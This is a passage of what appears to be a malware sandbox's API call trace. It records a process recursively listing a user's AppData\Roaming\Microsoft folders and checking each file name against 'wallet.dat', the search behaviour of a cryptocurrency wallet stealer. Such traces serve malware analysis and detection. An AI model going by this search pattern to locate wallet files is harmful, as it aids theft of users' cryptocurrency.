cAlternateFileName="")) returned 1 [0266.352] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0266.352] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0266.353] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.353] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto", pszFile="RSA" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0266.353] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.353] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="RSA", cAlternateFileName="")) returned 0 [0266.353] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.353] LocalFree (hMem=0x706de8) returned 0x0 [0266.354] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.354] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.354] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0266.354] lstrcmpW (lpString1="Document Building Blocks", lpString2="..") returned 1 [0266.354] lstrcmpW (lpString1="Document Building Blocks", lpString2=".") returned 1 [0266.354] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.354] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Document Building Blocks" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0266.354] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.354] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.354] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.354] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.354] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0266.354] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0266.354] lstrlenW (lpString="\\*") returned 2 [0266.355] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 69 [0266.355] LocalAlloc (uFlags=0x40, uBytes=0x18e) returned 0x706de8 [0266.355] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.355] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.355] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.355] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.355] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.355] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.355] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.355] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="1033", cAlternateFileName="")) returned 1 [0266.355] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0266.355] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0266.355] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.356] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks", pszFile="1033" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0266.356] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.356] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="1033", cAlternateFileName="")) returned 0 [0266.356] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.356] LocalFree (hMem=0x706de8) returned 0x0 [0266.356] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.357] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.357] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Excel", cAlternateFileName="")) returned 1 [0266.357] lstrcmpW (lpString1="Excel", lpString2="..") returned 1 [0266.357] lstrcmpW (lpString1="Excel", lpString2=".") returned 1 [0266.357] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.357] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Excel" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel" [0266.357] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.357] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.357] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.357] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.357] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel" [0266.357] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel" [0266.357] lstrlenW (lpString="\\*") returned 2 [0266.357] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel") returned 50 [0266.357] LocalAlloc (uFlags=0x40, uBytes=0x168) returned 0x706de8 [0266.358] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\excel\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.358] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.358] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.358] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.358] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.358] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.358] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.358] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0266.358] lstrcmpW (lpString1="XLSTART", lpString2="..") returned 1 [0266.359] lstrcmpW (lpString1="XLSTART", lpString2=".") returned 1 [0266.359] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.359] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel", pszFile="XLSTART" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0266.359] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.359] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0266.359] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.360] LocalFree (hMem=0x706de8) returned 0x0 [0266.360] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.360] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.360] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0266.360] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0266.360] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0266.360] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.360] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Internet Explorer" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0266.360] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.360] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.361] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.361] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0266.361] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0266.361] lstrlenW (lpString="\\*") returned 2 [0266.361] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 62 [0266.361] LocalAlloc (uFlags=0x40, uBytes=0x180) returned 0x706de8 [0266.361] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.361] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.361] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.361] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.361] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.362] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.362] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.362] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0266.362] lstrcmpW (lpString1="Quick Launch", lpString2="..") returned 1 [0266.362] lstrcmpW (lpString1="Quick Launch", lpString2=".") returned 1 [0266.362] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.362] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer", pszFile="Quick Launch" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0266.362] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.362] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0266.362] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.363] LocalFree (hMem=0x706de8) returned 0x0 [0266.363] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.363] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.363] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Network", cAlternateFileName="")) returned 1 [0266.363] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0266.363] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0266.363] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.363] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Network" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network" [0266.363] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.364] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.364] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.364] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.364] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network" [0266.364] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network" [0266.364] lstrlenW (lpString="\\*") returned 2 [0266.364] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network") returned 52 [0266.364] LocalAlloc (uFlags=0x40, uBytes=0x16c) returned 0x706de8 [0266.364] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.364] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.364] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.364] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.364] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.365] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.365] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.365] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0266.365] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0266.365] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0266.365] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.365] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network", pszFile="Connections" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0266.365] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.365] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0266.366] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.366] LocalFree (hMem=0x706de8) returned 0x0 [0266.366] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.366] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.366] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Office", cAlternateFileName="")) returned 1 [0266.366] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0266.366] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0266.366] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.366] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Office" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office" [0266.367] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.367] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.367] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: 